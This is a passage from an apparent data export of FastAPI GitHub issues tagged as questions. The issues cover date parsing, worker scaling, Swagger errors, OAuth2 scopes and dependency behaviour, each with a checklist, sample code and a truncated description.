- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/dateParm"")
def dateParm( mydate: date = Query(""2022-04-06T00:00:00.000Z"")) -> bool:
    return {""result"":True}
```


### Description

Python FastAPI cannot process a date with the ISO8601 datetime format. I am calling the server from a Java client and am getting ""422 Unprocessable Entity"" This is way to strict! I know Node, Java, and Salesforce parse this correctly and truncate the time portion.

I have posted this in stackoverflow and received a workaround using union.   https://stackoverflow.com/questions/71770916/python-fastapi-iso-8601-date-format-gets-http422-unprocessable-entity

Please consider fixing this problem, and allowin... [TRUNCATED]","question,question-migrate",2022-12-08T15:20:36Z,2023-02-28T15:45:08Z,8
tiangolo/fastapi,1484708259,Scale FastApi with sync endpoints,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging
from fastapi import FastAPI

app = FastAPI()
logger = logging.getLogger()

@app.get(""/"")
def root():
    logger.info(f""Running on {os.getpid()}"")
    time.sleep(3600)
    return {""message"": ""Hello World""}
```


### Description

I've noticed lately that we have some latency problems when the servers are busy. I dived into it and found out that, if for example, I have four uvicorn workers, while one worker is very busy, the rest three are significantly less busier. That has two problems - 
1. We're not taking advantage of all our parallelism power
2. We're suffering more from Python's GIL problems on the same worker.

In th... [TRUNCATED]","question,question-migrate",2022-12-08T14:01:54Z,2023-02-28T15:45:00Z,19
tiangolo/fastapi,1483902154,Swagger fails to load - missing role attribute,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# In utils.py under fastapi.openapi I have to comment this line to prevent ""Failed to load"" in Swagger UI
#  operation_security.append({security_name: security_requirement.role})
```


### Description

My Swagger UI used to work well, but suddenly I get a ""Failed to load API definition"", with the error below:
```
 File ""..../lib/python3.9/site-packages/fastapi/openapi/utils.py"", line 84, in get_openapi_security_definitions
    operation_security.append({security_name: security_requirement.role})
AttributeError: 'SecurityRequirement' object has no attribute 'role'
```

If I comment the line in utils.py, the /docs works again.
`#  operation_se... [TRUNCATED]","question,question-migrate",2022-12-08T07:12:55Z,2023-02-27T21:29:32Z,3
tiangolo/fastapi,1483484180,The count of thread is high?  uvicorn+fastapi ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
...
```


### Description

I use uvicorn +fastapi,  the cmd is ""uvicorn main:app --host 0.0.0.0 --reload --port 80""
I spent a day observing my application, when I use ps -xH ，the thread of python always increase, such as 15:00 the count is 19, ,18:00 the count is 52 , but the next day morning the count is more than 100.  And ""VIRT"" in  cmd of ""top"" more than 10g but the ""RES"" just 200M

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.10

### Additional Context

_No response_","question,question-migrate",2022-12-08T03:15:17Z,2023-02-28T15:44:56Z,1
tiangolo/fastapi,1482193505,How can i get the response from another API to My API FastApi and store it on postgres ,"### First Check

- [x] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Optional
from fastapi import Body, FastAPI, Response, status, HTTPException
from pydantic import BaseModel
from random import randrange
import psycopg2
from psycopg2.extras import RealDictCursor
import time

app = FastAPI()

# model
class Post(BaseModel):
    title: str
    content: str
    published: bool = True
    #rating: Optional[int] = None

#Database connection

while True:
    try:
        conn = psycopg2.connect(host= 'localhost', database='fastapi', user='postgres',
                            password='root', cursor_factory=RealDictCursor)
        cursor = conn.cursor()
        print(""Database con... [TRUNCATED]","question,question-migrate",2022-12-07T15:29:17Z,2023-02-28T15:44:54Z,2
tiangolo/fastapi,1482116663,How to implement multi-tenant at database/schema level with alembic migration support,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
Not applicable
```


### Description

Is there any ideal way to implement multi-tenant database support using `fastapi ` and `sqlmodel` frameworks?

### Operating System

Linux, Windows, macOS

### Operating System Details

_No response_

### FastAPI Version

0.79.0

### Python Version

3.9

### Additional Context

_No response_","question,question-migrate",2022-12-07T14:57:08Z,2023-02-27T21:29:30Z,1
tiangolo/fastapi,1482059579,It is not possible to add multiple examples of requests when using a Depends in the body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [x] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Depends, Request, Body
from pydantic import BaseModel, Field
import uvicorn

app = FastAPI()


# Serializer
class RequestWithSingleExample(BaseModel):
    item_id: int = Field()
    name: str = Field()

    class Config:
        schema_extra = {
            'example': {
                'item_id': 1,
                'name': 'Name1'
            }
        }


# Serializer
class RequestWithMultiExamples(BaseModel):
    item_id: int = Field()
    name: str = Field()

    class Config:
        schema_extra = {
            'examples': {
                'example1': {
                    'summary': 's... [TRUNCATED]","question,question-migrate",2022-12-07T14:30:16Z,2023-02-28T15:44:51Z,2
tiangolo/fastapi,1481386428,Does FastAPI have to pin starlette?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi.testclient import TestClient

TestClient(app, headers={...})
```


### Description

FastAPI re-exports starlette `TestClient` which seems to be an `httpx.Client` connected to the asgi app under test.

starlette has recently fixed the `TestClient.__init__` to follow `httpx.Client.__init__` so that the earlier accepts `headers=...` kwarg, just like the latter.

https://github.com/encode/starlette/pull/1966

starlette has made a release `0.23.0`, but the latest FastAPI pins a specific version `starlette==0.22.0`

Thus, as a dev, I can't use the latest ""features"" or more like reasonable expectations for the TestClient.

A newcome... [TRUNCATED]","question,question-migrate",2022-12-07T09:02:07Z,2023-02-27T21:29:28Z,2
tiangolo/fastapi,1481083671,Form in request not displaying example in documentation,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(
    ""/face-quality"",
    status_code=status.HTTP_200_OK,
    response_model=FaceQuality,
)
async def v1_face_quality_post(
    image: Optional[UploadFile] = File(None, description=""Image file""),
    url: Optional[str] = Form(None, description=""Image url"", example=""http://example.com/sample.jpg""),
    label: Optional[str] = Query(None, description=""label"", example=""tom"")
):
```


### Description

As you can see from the code, I use `Form` or `Query` in request, but for `Query`, the `example` display correctly in documentation, but not in `Form`, `description` both display fine. I have looked into the sour... [TRUNCATED]","question,question-migrate",2022-12-07T06:20:47Z,2023-02-28T15:44:49Z,1
tiangolo/fastapi,1479428470,Uvicorn with Thread handle KeyboardInterrupt,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, APIRouter, Query
import uvicorn
import threading

def run_background_task():
        
    while True:
        try:
            print(""Auto Every 5 minute Update Data"")
            fetch_data()
            time.sleep(60*60)
        except Exception as e:
            print(e)

if __name__ == ""__main__"":
    try:
        stop_event = asyncio.Event()
        thread = threading.Thread(target=run_background_task)
        thread.start()
        uvicorn.run(app, host=""0.0.0.0"", port=8000, log_level=""info"")
    except KeyboardInterrupt:
        # Set the stop event to stop the server and the background task
 ... [TRUNCATED]","question,question-migrate",2022-12-06T15:44:24Z,2023-02-27T21:29:25Z,3
tiangolo/fastapi,1477127899,Traceback stack does not show exact place of error,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Depends


app = FastAPI()


def get_something_sync():
    yield True


async def get_something_async():
    yield True


@app.get('/1')
def router_func(dependency=Depends(get_something_sync)):
    raise ValueError
    return


@app.get('/2')
def router_func(dependency=Depends(get_something_async)):
    raise ValueError
    return


if __name__ == ""__main__"":
    uvicorn.run(""main:app"", host=""0.0.0.0"", port=5600, workers=1)
```


### Description

If dependency function uses yield, injecting dependency with sync def function (get_something_sync), the error traceback will broke - it... [TRUNCATED]","question,question-migrate",2022-12-05T18:11:29Z,2023-02-28T15:44:45Z,5
tiangolo/fastapi,1476801443,RequestValidationError: 'field required' error although no query param specified,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Depends
from typing import Protocol

app = FastAPI()

class P(Protocol):
    def hello(self):
        ...

class Concrete(P):
    def hello(self):
        return ""Hello World!""


class Bridge():
    def __init__(self, protocol: P = Depends(Concrete)):
        self.protocol = protocol

    def hello(self):
        return self.protocol.hello()


@app.get('/test')
def get(dep=Depends(Bridge)):
    return dep.hello()

if __name__ == ""__main__"":
    uvicorn.run(""issue:app"", host=""0.0.0.0"", port=5500, workers=1)
```

### Description

The example code throws a req... [TRUNCATED]","question,question-migrate",2022-12-05T15:18:59Z,2023-02-28T15:44:42Z,3
tiangolo/fastapi,1475880389,Query parameters with special characters / cannot create variable,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
no code
```


### Description

Hello,

My web front-end generates the following request to the server (JSON:API query)

/comments?filter[post]=1,2&filter[author]=12

I have 2 query parameters ""filter[post]"" and ""filter[author]"", but I cannot figure out how to access them, as I cannot create a variable called ""filter[post]"".

How can I read these query parameters ?



 


### Operating System

Linux

### Operating System Details

Ubuntu 20.04 (WSL)

### FastAPI Version

1.0.0

### Python Version

3.10.2

### Additional Context

no add info","question,question-migrate",2022-12-05T07:23:26Z,2023-02-28T15:44:40Z,2
tiangolo/fastapi,1475461770,startup event lock with multiple uvicorn workers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
import threading

from typing import Optional
from datetime import datetime

from passlib.context import CryptContext
from beanie import Document, init_beanie
from motor.motor_asyncio import AsyncIOMotorClient
from fastapi import FastAPI


lock = threading.Lock()


app = FastAPI()

pwd_context = CryptContext(schemes=[""bcrypt""], deprecated=""auto"")


class User(Document):
    username: str
    full_name: Optional[str] = None
    email: Optional[str] = None

    class Settings:
        name = ""users""

    def __repr__(self) -> str:
        return f""<User {self.username}>""

    def __str__(s... [TRUNCATED]","question,question-migrate",2022-12-05T02:34:34Z,2023-02-27T21:29:23Z,4
tiangolo/fastapi,1473849617,"""Error: Unprocessable Entity"" response for Tutorial -> FastAPI Body - Nested Models -> Bodies of arbitrary dicts ","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.post(""/index-weights/"")
async def create_index_weights(weights: dict[int, float]):
    return weights
```


### Description

- Just copy and run the sample code provided by official doc,
- It should return a `200` response for this request:
```json
{
  ""test"":{
    ""1"":""3.14""
  }
}
```
![CleanShot 2022-12-03 at 11 36 51](https://user-images.githubusercontent.com/8280770/205432208-f81af05d-6e48-496c-a282-b211ec1738bc.png)


### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

Python 3.10.8

### Additional Context

... [TRUNCATED]","question,question-migrate",2022-12-03T08:37:50Z,2023-02-27T21:29:20Z,1
tiangolo/fastapi,1473785902,Multiple exceptions when working with db via sqlalchemy at load >200 req/sec,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code
This is how I create an application instance:
```python
import sentry_sdk
from fastapi import FastAPI
from fastapi.exceptions import RequestValidationError
from fastapi.responses import ORJSONResponse
from prometheus_fastapi_instrumentator import Instrumentator
from sentry_sdk.integrations.asgi import SentryAsgiMiddleware
from starlette.exceptions import HTTPException
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.middleware.cors import CORSMiddleware
from starlette.responses import Response
from starlette.status import HTTP_200_OK

from core.api.identity_management import routes as auth_routes
from core.a... [TRUNCATED]","question,question-migrate",2022-12-03T05:57:01Z,2023-02-28T15:44:32Z,7
tiangolo/fastapi,1473619822,"how to use querys of arbitrary dicts,   like Bodies of arbitrary dicts?","### First Check

- [ ] I added a very descriptive title to this issue.
- [ ] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [ ] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/get_list"")
def get_list(q:Dict[str,Union[str,int,float]]):
    return q
```


### Description

https://fastapi.tiangolo.com/tutorial/body-nested-models/#bodies-of-arbitrary-dicts

l got this from official website, but is only for request body,  i want something like this for query

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.11

### Additional Context

_No response_","question,question-migrate",2022-12-03T00:36:17Z,2023-02-27T21:29:16Z,7
tiangolo/fastapi,1472589824,OAuth2 scopes error in documentation for endpoints with multiple scopes,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime, timedelta
from typing import List, Union

from fastapi import Depends, FastAPI, HTTPException, Security, status
from fastapi.security import (
    OAuth2PasswordBearer,
    OAuth2PasswordRequestForm,
    SecurityScopes,
)
from jose import JWTError, jwt
from passlib.context import CryptContext
from pydantic import BaseModel, ValidationError

# to get a string like this run:
# openssl rand -hex 32
SECRET_KEY = ""09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7""
ALGORITHM = ""HS256""
ACCESS_TOKEN_EXPIRE_MINUTES = 30


fake_users_db = {
    ""johndoe"": {
        ""username""... [TRUNCATED]","question,question-migrate",2022-12-02T09:46:21Z,2023-02-28T15:44:28Z,2
tiangolo/fastapi,1472540946,API versioning in FASTAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
na
```


### Description

How are multiple versions of same api handled in Fastapi. what are the recomendations wrt project structure , if we can to acheive something like mentioned here : 
https://developers.facebook.com/docs/graph-api/guides/versioning/
https://stackoverflow.com/questions/64943693/what-are-the-best-practices-for-structuring-a-fastapi-project

### Operating System

macOS

### Operating System Details

na

### FastAPI Version

na

### Python Version

na

### Additional Context

https://stackoverflow.com/questions/64943693/what-are-the-best-practices-for-structuring-a-fastapi-project","question,question-migrate",2022-12-02T09:07:33Z,2023-02-28T15:44:24Z,6
tiangolo/fastapi,1472218397,Using scopes on `Security()` changes dependency inheritance,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
async def get_authenticated_user(security_scopes: SecurityScopes,
                                 session: Session = Depends(get_session),
                                 token: str = Depends(oauth2_scheme),
                                 ):

    print(f""get_authenticated_user: {id(session)}"")
    return

@router.post('/activate', status_code=204)
async def user_activate(session: Session = Depends(get_session),
                        user: UserAccountInDatabase = Security(
                            get_authenticated_user,
                            scopes=[""activate""])):
    print(f""user_activate: {id(session)}"")
    return
```
... [TRUNCATED]","question,question-migrate",2022-12-02T02:27:04Z,2023-02-28T15:44:21Z,1
tiangolo/fastapi,1470337395,Different Routers with Dependency Conflicts for Scaling API,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
$ python3 example_1.py &
$ python3 example_2.py &
$ cat main.py
app = FastAPI()

from routers import example_1
app.include_router(example_1.router) # Is connecting to the example_1.py running in background

from routers import example_2
app.include_router(example_2.router) # Is connecting to the example_2.py running in background
```


### Description

Hi all!

I have a question about scaling my API. The applications I'm trying to serve have very different needs. One app at /example_1 may need Tensorflow 1.4 but /example_2 needs Tensorflow 2.1. Unfortunately backwards compatibility won't work, especially as I add /example{3..n}. I am curre... [TRUNCATED]","question,question-migrate",2022-11-30T23:05:18Z,2023-02-27T21:29:13Z,4
tiangolo/fastapi,1470132552,Depends() not correctly generating openapi docs for list,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Test(BaseModel):
    id: int
    some_str: str
    list_values: list[str]


@app.get('/')
def test_get(test: Test = Depends()):
    return test
```


### Description

Generated doc has a body instead of a list query:
<img width=""1042"" alt=""image"" src=""https://user-images.githubusercontent.com/1719461/204891853-cc2f3ccf-0870-44d8-95ea-708a7acf4b85.png"">

The same thing happens with:
```python
from fastapi import Depends, FastAPI

app = FastAPI()

def test_query(id: int, some_str: str, list_values: list[str]):
   ... [TRUNCATED]","question,question-migrate",2022-11-30T19:40:55Z,2023-02-28T15:44:18Z,4
tiangolo/fastapi,1469983389,Question: How can we setup AD authentication?,"### First Check

- [ ] I added a very descriptive title to this issue.
- [ ] I used the GitHub search to find a similar issue and didn't find it.
- [x] I searched the FastAPI documentation, with the integrated search.
- [ ] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [ ] I already read and followed all the tutorial in the docs and didn't find an answer.
- [ ] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [ ] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [ ] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
na
```


### Description

Technical document to setup AD authentication or sso

### Operating System

Linux

### Operating System Details

Centos 7.X

### FastAPI Version

0.87.0

### Python Version

3.10.8

### Additional Context

Looking technical document how to enable AD authentication.","question,question-migrate",2022-11-30T17:23:47Z,2023-02-28T15:44:15Z,2
tiangolo/fastapi,1469669237,Super Slow under Load with file responce,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/download/{channel_id}/{base_url:path}"", response_class=FileResponse)
async def download_segments(channel_id: str, base_url: str):
    
    URL_PHARSE  = urlparse(base_url)
    FILE_NAME   = os.path.basename(URL_PHARSE.path)
    
    if ""/audio/"" in base_url:
        SEGMENT_TYPE = ""audio""
    else:
        SEGMENT_TYPE = ""video""

    SEGMENT_ID      = FILE_NAME.replace("".m4s"","""")
    CONTENT_TYPE    = SEGMENT_TYPE + ""/mp4""

    FILE_LOCATION = await GET_CACHE_PATH(""segments"" ,True, channel_id) + SEGMENT_ID + ""_"" + SEGMENT_TYPE + "".m4s""

  return FileResponse(FILE_LOCATION, media_type=CONTENT_TYPE)
```

... [TRUNCATED]","question,question-migrate",2022-11-30T13:50:31Z,2023-02-28T15:44:12Z,6
